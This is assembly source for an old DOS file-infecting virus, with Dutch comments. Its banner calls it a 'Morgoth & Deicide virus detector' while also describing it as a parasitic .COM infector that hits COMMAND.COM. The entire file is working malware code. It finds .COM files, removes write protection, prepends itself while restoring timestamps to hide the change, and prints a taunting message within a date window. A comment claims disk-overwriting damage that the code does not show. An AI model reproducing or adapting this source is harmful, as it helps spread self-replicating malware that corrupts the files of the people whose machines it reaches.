;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Morgoth & Deicide virus detector ³ ;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ;³ This will be a Parasytic Non-Resident .COM infector. ³ ;³ It will also infect COMMAND.COM. ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ .MODEL TINY Public VirLen,MovLen,PutMsg Code Segment para 'Code' Assume Cs:Code,Ds:Code,Es:Code Org 100h Signature Equ 0CDABh ; Signature of virus is ABCD! MorgSig Equ 0AdDeh ; Signature of morgoth is DEAD! DeiSig Equ 0d90h ; Signature of deicide is 900D! BegMonthAct Equ 11 ; Begin Month of activation EndMonthAct Equ 12 ; End Month of activation BegDayAct Equ 11 ; Begin Day of activation EndDayAct Equ 25 ; End Day of activation ActString Equ CR,LF,'Brotherhood... I am seeking my brothers "DEICIDE" and "MORGOTH"...',CR,LF,EOM MorgString Equ CR,LF,'Found my brother "MORGOTH"!!!',CR,LF,EOM DeicideString Equ CR,LF,'Found my brother "DEICIDE"!!!',CR,LF,EOM CR Equ 13 ; Return LF Equ 10 ; Linefeed EOM Equ '$' ; Einde Tekst Buff1 Equ 0F000h Buff2 Equ Buff1+2 VirLen Equ Offset Einde-Offset Begin MovLen Equ Offset Einde-Offset Mover Proggie Equ Offset DTA+1Eh MinLen Equ Virlen ;Minimale lengte te besmetten programma MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This will contain only macros, for pieces of code which will be ; used very often. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This part will contain the actual virus code, for searching the ; next victim and infection of it. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Begin: Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk DW Signature ; Herkenningsteken virus Oversig: Pushf ;------------------ Push AX ; Alle registers opslaan voor Push BX ; later gebruik van het programma Push CX ; Push DX ; Push DS ; Push ES ; Push SS ; Push SI ; Push DI ;------------------ Mov AH,2Ah ;------------------ Int 21h ; Systeemdatum vergelijken met Cmp DH,BegMonthAct ; activatiedatum. Als dit gelijk is Jb InfectPart ; moet word PutMsg aangeroepen, anders Cmp DH,EndMonthAct ; wordt InfectPart aangeroepen. Jg InfectPart ; Cmp DL,BegDayAct ; Jb InfectPart ; Cmp DL,EndDayAct ; Jg InfectPart ;------------------ PutMsg: Mov AH,09h ; Activatiebericht wordt getoont en Mov DX,Offset Msg ; de eerste 80 sectoren van de C Int 21h ; drive worden volgeschreven met Int 20h ; InfectPart: Mov AX,Sprong ;------------------ Mov Buf1,AX ; Spronggegevens bewaren om Mov BX,Source ; besmette programma te starten Mov Buf2,BX ;------------------ Mov AH,1Ah ; DTA area instellen op Lea DX,DTA ; $DTA area Int 21h ;------------------ Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory Mov Cx,1 ; Lea DX,FindPath ; Int 21h ;------------------ Jnc KijkInfected ; Geen gevonden, goto Afgelopen Jmp Afgelopen ;------------------ KijkInfected: Mov DX,DTA+1Ah ;------------------ Cmp DX,MinLen ; Kijken of programmalengte voldoet Jb ZoekNext ; aan de eisen van het virus Mov DX,MaxLen ; (langer dan virus) Cmp DX,DTA+1Ah ; Jb ZoekNext ;------------------ On2: Mov AH,3Dh ; Zo ja , file openen en file handle Mov AL,2 ; opslaan Mov DX,Proggie ; Int 21h ; Mov FH,AX ;------------------ Mov BX,AX ; Mov AH,3Fh ; Lezen 1e 4 bytes van een file met Mov CX,4 ; een mogelijk kenmerk van het virus Mov DX,Buff1 ; Int 21h ;------------------ Sluiten: Mov AH,3Eh ; File weer sluiten Int 21h ;------------------ Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op Jz Zoeknext ; morgoth virus. Als bestand al besmet Cmp Ax,MorgSig ; is met morgoth, geef bericht en stop Jz MorgHere ; executie! Cmp Ax,DeiSig jz DeiHere Jmp Infect ;------------------ MorgHere: Mov Ah,9 Mov Dx,Offset Morg Int 21h Int 20h DeiHere: Mov Ah,9 Mov Dx,Offset Dei Int 21h Int 20h ZoekNext: Mov AH,4Fh ;------------------ Int 21h ; Zoeken naar volgende .COM file Jnc KijkInfected ; Geen gevonden, goto Afgelopen Jmp Afgelopen ;------------------ Infect: Mov AH,43h ;------------------ Mov AL,0 ; Eventuele schrijf- Mov DX,Proggie ; beveiliging weghalen Int 21h ; van het programma Mov AH,43h ; Mov AL,1 ; And CX,11111110b ; Int 21h ;------------------ Mov AH,3Dh ; Bestand openen Mov AL,2 ; Mov DX,Proggie ; Int 21h ;------------------ Mov FH,AX ; Opslaan op stack van Mov BX,AX ; datum voor later gebruik Mov AH,57H ; Mov AL,0 ; Int 21h ; Push CX ; Push DX ;------------------ Mov AH,3Fh ; Inlezen van eerste deel van het Mov CX,VirLen+2 ; programma om later terug te Mov DX,Buff1 ; kunnen plaatsen. Int 21h ;------------------ Mov AH,42H ; File Pointer weer naar het Mov AL,2 ; einde van het programma Xor CX,CX ; zetten Xor DX,DX ; Int 21h ;------------------ Xor DX,DX ; Bepalen van de variabele sprongen Add AX,100h ; in het virus (move-routine) Mov Sprong,AX ; Add AX,MovLen ; Mov Source,AX ;------------------ Mov AH,40H ; Move routine bewaren aan Mov DX,Offset Mover ; einde van file Mov CX,MovLen ; Int 21h ;------------------ Mov AH,40H ; Eerste deel programma aan- Mov DX,Buff1 ; voegen na Move routine Mov CX,VirLen ; Int 21h ;------------------ Mov AH,42h ; File Pointer weer naar Mov AL,0 ; het begin van file Xor CX,CX ; sturen Xor DX,DX ; Int 21h ;------------------ Mov AH,40h ; En programma overschrijven Mov DX,Offset Begin ; met code van het virus Mov CX,VirLen ; Int 21h ;------------------ Mov AH,57h ; Datum van aangesproken file Mov AL,1 ; weer herstellen Pop DX ; Pop CX ; Int 21h ;------------------ Mov AH,3Eh ; Sluiten file Int 21h ;------------------ Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer Mov Source,BX ; op normaal zetten voor Mov AX,Buf1 ; de Move routine Mov Sprong,AX ;------------------ Mov AH,1Ah ; DTA adres weer op normaal Mov Dx,80h ; zetten en naar de Move Int 21h ; routine springen Jmp CS:[Sprong] ;------------------ Msg db ActString Morg db MorgString Dei db DeicideString ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; All variables are stored in here, like filehandle, date/time, ; search path and various buffers. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FH DW 0 FindPath DB '*.COM',0 Buf1 DW 0 Buf2 DW 0 Sprong DW 0 Source DW 0 Db '*** Glenn Benton ***' DTA DW 64 DUP(?) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This will contain the relocator routine, located at the end of ; the ORIGINAL file. This will tranfer the 1st part of the program ; to it's original place. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Mover: Mov DI,Offset Begin ;------------------ Mov SI,Source ; Verplaatsen van het 1e deel Mov CX,VirLen-1 ; van het programma, wat achter Movsb ; deze verplaatsroutine staat. Rep Movsb ;------------------ Pop DI ; Opgeslagen registers weer Pop SI ; terugzetten op originele Pop SS ; waarde en springen naar Pop ES ; het begin van het programma Pop DS ; (waar nu het virus niet meer Pop DX ; staat) Pop CX ; Pop BX ; Pop AX ; Popf ; Mov BX,100h ; Jmp BX ;------------------ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Only the end of the virus is stored in here. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Einde db 0 Code Ends End Begin